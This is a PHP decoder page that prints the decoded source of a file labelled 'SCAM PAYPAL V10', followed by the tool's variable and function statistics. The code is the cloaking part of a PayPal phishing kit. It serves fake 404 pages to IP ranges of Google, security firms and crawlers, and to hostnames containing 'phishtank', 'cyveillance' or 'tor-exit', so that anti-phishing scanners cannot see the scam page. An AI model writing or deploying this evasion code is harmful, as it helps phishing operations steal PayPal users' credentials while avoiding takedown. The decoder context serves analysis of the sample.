Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? /* _____ _ _ ______ __ __ ..

Decoded Output download

<? 
/*    
   _____   _                   _                        ______    __    __     ___   
  / ____| | |                 | |                      |___  /   /_ |  /_ |   / _ \  
 | (___   | |__     __ _    __| |   ___   __      __      / /    | |   | |   | (_) | 
  \___ \  | '_ \   / _` |  / _` |  / _ \  \ \ /\ / /     / /   - | | - | | -  > _ <  
  ____) | | | | | | (_| | | (_| | | (_) |  \ V  V /     / /__  - | | - | | - | (_) | 
 |_____/  |_| |_|  \__,_|  \__,_|  \___/    \_/\_/     /_____|   |_|   |_|    \___/  
                                                                                 
                              #=======================# 
                              #    SCAM PAYPAL V10    # 
                              #      SHADOW Z118      # 
                              #=======================# 
							   
                $$$$$$$\                     $$$$$$$\           $$\    
                $$  __$$\                    $$  __$$\          $$ |   
                $$ |  $$ |$$$$$$\  $$\   $$\ $$ |  $$ |$$$$$$\  $$ |   
                $$$$$$$  |\____$$\ $$ |  $$ |$$$$$$$  |\____$$\ $$ |   
                $$  ____/ $$$$$$$ |$$ |  $$ |$$  ____/ $$$$$$$ |$$ |   
                $$ |     $$  __$$ |$$ |  $$ |$$ |     $$  __$$ |$$ |   
                $$ |     \$$$$$$$ |\$$$$$$$ |$$ |     \$$$$$$$ |$$ |   
                \__|      \_______| \____$$ |\__|      \_______|\__|   
                                   $$\   $$ |                          
                                   \$$$$$$  |                          
                                    \______/                           
*/ 
 
 
$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", 
 "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", 
 "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*",  
"^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", 
 "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", 
 "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", 
 "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", 
 "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", 
 "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", 
 "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", 
 "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", 
 "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", 
 "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*",  
"^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*",  
"^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*",  
"^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", 
 "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*",  
"^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", 
 "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*",  
"^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*"); 
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) { 
     // this is for exact matches of IP address in array 
     header('HTTP/1.0 404 Not Found'); 
     exit(); 
} else { 
     // this is for wild card matches 
     foreach($bannedIP as $ip) { 
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){ 
               header('HTTP/1.0 404 Not Found'); 
               echo("<h1>404 Not Found</h1>The page that you have requested could not be found."); 
          } 
     } 
} 
 
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); 
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",); 
foreach($blocked_words as $word) { 
    if (substr_count($hostname, $word) > 0) { 
		header("HTTP/1.0 404 Not Found"); 
        echo("<h1>404 Not Found</h1>The page that you have requested could not be found."); 
 
    }   
} 
 
 
 
// This Willl Block New ips that send lot of hits (Bots) 
 
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); 
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",); 
foreach($blocked_words as $word) { 
    if (substr_count($hostname, $word) > 0) { 
		header("HTTP/1.0 404 Not Found"); 
        echo("<h1>404 Not Found</h1>The page that you have requested could not be found."); 
 
    }   
} 
if( !empty($_SERVER['HTTP_USER_AGENT']) ) { 
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); 
    foreach($userAgents as $agent) 
        if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) { 
            header('HTTP/1.0 404 Not Found'); 
            exit; 
      }} 
$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*"); 
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) { 
     header('HTTP/1.0 404 Not Found'); 
     exit(); 
} else { 
     foreach($bannedIP as $ip) { 
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){ 
               header('HTTP/1.0 404 Not Found'); 
               echo("<h1>404 Not Found</h1>The page that you have requested could not be found."); 
          } 
     } 
} 
 
?>

Did this file decode correctly?

Original Code

<?
/*   
   _____   _                   _                        ______    __    __     ___  
  / ____| | |                 | |                      |___  /   /_ |  /_ |   / _ \ 
 | (___   | |__     __ _    __| |   ___   __      __      / /    | |   | |   | (_) |
  \___ \  | '_ \   / _` |  / _` |  / _ \  \ \ /\ / /     / /   - | | - | | -  > _ < 
  ____) | | | | | | (_| | | (_| | | (_) |  \ V  V /     / /__  - | | - | | - | (_) |
 |_____/  |_| |_|  \__,_|  \__,_|  \___/    \_/\_/     /_____|   |_|   |_|    \___/ 
                                                                                
                              #=======================#
                              #    SCAM PAYPAL V10    #
                              #      SHADOW Z118      #
                              #=======================#
							  
                $$$$$$$\                     $$$$$$$\           $$\   
                $$  __$$\                    $$  __$$\          $$ |  
                $$ |  $$ |$$$$$$\  $$\   $$\ $$ |  $$ |$$$$$$\  $$ |  
                $$$$$$$  |\____$$\ $$ |  $$ |$$$$$$$  |\____$$\ $$ |  
                $$  ____/ $$$$$$$ |$$ |  $$ |$$  ____/ $$$$$$$ |$$ |  
                $$ |     $$  __$$ |$$ |  $$ |$$ |     $$  __$$ |$$ |  
                $$ |     \$$$$$$$ |\$$$$$$$ |$$ |     \$$$$$$$ |$$ |  
                \__|      \_______| \____$$ |\__|      \_______|\__|  
                                   $$\   $$ |                         
                                   \$$$$$$  |                         
                                    \______/                          
*/


$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*",
 "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*",
 "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", 
"^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*",
 "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*",
 "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*",
 "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*",
 "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*",
 "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*",
 "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*",
 "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*",
 "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*",
 "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", 
"^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", 
"^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", 
"^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*",
 "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", 
"^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*",
 "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", 
"^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*");
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
     // this is for exact matches of IP address in array
     header('HTTP/1.0 404 Not Found');
     exit();
} else {
     // this is for wild card matches
     foreach($bannedIP as $ip) {
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
               header('HTTP/1.0 404 Not Found');
               echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
          }
     }
}

$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",);
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
		header("HTTP/1.0 404 Not Found");
        echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");

    }  
}



// This Willl Block New ips that send lot of hits (Bots)

$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",);
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
		header("HTTP/1.0 404 Not Found");
        echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");

    }  
}
if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    foreach($userAgents as $agent)
        if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
            header('HTTP/1.0 404 Not Found');
            exit;
      }}
$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*");
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
     header('HTTP/1.0 404 Not Found');
     exit();
} else {
     foreach($bannedIP as $ip) {
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
               header('HTTP/1.0 404 Not Found');
               echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
          }
     }
}

?>

Function Calls

in_array 1

Variables

$bannedIP [{'key': 0, 'value': '^66.102.*.*'}, {'key': 1, 'value': '^38.100.*.*'}, {'key': 2, 'value': '^107.170.*.*'}, {'key': 3, 'value': '^149.20.*.*'}, {'key': 4, 'value': '^38.105.*.*'}, {'key': 5, 'value': '^74.125.*.*'}, {'key': 6, 'value': '^66.150.14.*'}, {'key': 7, 'value': '^54.176.*.*'}, {'key': 8, 'value': '^38.100.*.*'}, {'key': 9, 'value': '^184.173.*.*'}, {'key': 10, 'value': '^66.249.*.*'}, {'key': 11, 'value': '^128.242.*.*'}, {'key': 12, 'value': '^72.14.192.*'}, {'key': 13, 'value': '^208.65.144.*'}, {'key': 14, 'value': '^74.125.*.*'}, {'key': 15, 'value': '^209.85.128.*'}, {'key': 16, 'value': '^216.239.32.*'}, {'key': 17, 'value': '^74.125.*.*'}, {'key': 18, 'value': '^207.126.144.*'}, {'key': 19, 'value': '^173.194.*.*'}, {'key': 20, 'value': '^64.233.160.*'}, {'key': 21, 'value': '^72.14.192.*'}, {'key': 22, 'value': '^66.102.*.*'}, {'key': 23, 'value': '^64.18.*.*'}, {'key': 24, 'value': '^194.52.68.*'}, {'key': 25, 'value': '^194.72.238.*'}, {'key': 26, 'value': '^62.116.207.*'}, {'key': 27, 'value': '^212.50.193.*'}, {'key': 28, 'value': '^69.65.*.*'}, {'key': 29, 'value': '^50.7.*.*'}, {'key': 30, 'value': '^131.212.*.*'}, {'key': 31, 'value': '^46.116.*.* '}, {'key': 32, 'value': '^62.90.*.*'}, {'key': 33, 'value': '^89.138.*.*'}, {'key': 34, 'value': '^82.166.*.*'}, {'key': 35, 'value': '^85.64.*.*'}, {'key': 36, 'value': '^85.250.*.*'}, {'key': 37, 'value': '^89.138.*.*'}, {'key': 38, 'value': '^93.172.*.*'}, {'key': 39, 'value': '^109.186.*.*'}, {'key': 40, 'value': '^194.90.*.*'}, {'key': 41, 'value': '^212.29.192.*'}, {'key': 42, 'value': '^212.29.224.*'}, {'key': 43, 'value': '^212.143.*.*'}, {'key': 44, 'value': '^212.150.*.*'}, {'key': 45, 'value': '^212.235.*.*'}, {'key': 46, 'value': '^217.132.*.*'}, {'key': 47, 'value': '^50.97.*.*'}, {'key': 48, 'value': '^217.132.*.*'}, {'key': 49, 'value': '^209.85.*.*'}, {'key': 50, 'value': '^66.205.64.*'}, {'key': 51, 'value': '^204.14.48.*'}, {'key': 52, 'value': '^64.27.2.*'}, {'key': 53, 'value': '^67.15.*.*'}, {'key': 54, 'value': '^202.108.252.*'}, {'key': 55, 'value': '^193.47.80.*'}, {'key': 56, 'value': '^64.62.136.*'}, {'key': 57, 'value': '^66.221.*.*'}, {'key': 58, 'value': '^64.62.175.*'}, {'key': 59, 'value': '^198.54.*.*'}, {'key': 60, 'value': '^192.115.134.*'}, {'key': 61, 'value': '^216.252.167.*'}, {'key': 62, 'value': '^193.253.199.*'}, {'key': 63, 'value': '^69.61.12.*'}, {'key': 64, 'value': '^64.37.103.*'}, {'key': 65, 'value': '^38.144.36.*'}, {'key': 66, 'value': '^64.124.14.*'}, {'key': 67, 'value': '^206.28.72.*'}, {'key': 68, 'value': '^209.73.228.*'}, {'key': 69, 'value': '^158.108.*.*'}, {'key': 70, 'value': '^168.188.*.*'}, {'key': 71, 'value': '^66.207.120.*'}, {'key': 72, 'value': '^167.24.*.*'}, {'key': 73, 'value': '^192.118.48.*'}, {'key': 74, 'value': '^67.209.128.*'}, {'key': 75, 'value': '^12.148.209.*'}, {'key': 76, 'value': '^12.148.196.*'}, {'key': 77, 'value': '^193.220.178.*'}, {'key': 78, 'value': '68.65.53.71'}, {'key': 79, 'value': '^198.25.*.*'}, {'key': 80, 'value': '^64.106.213.*'}]

Stats

MD5 a4d105fa5af8907e2cd6227996346bb1
Eval Count 0
Decode Time 109 ms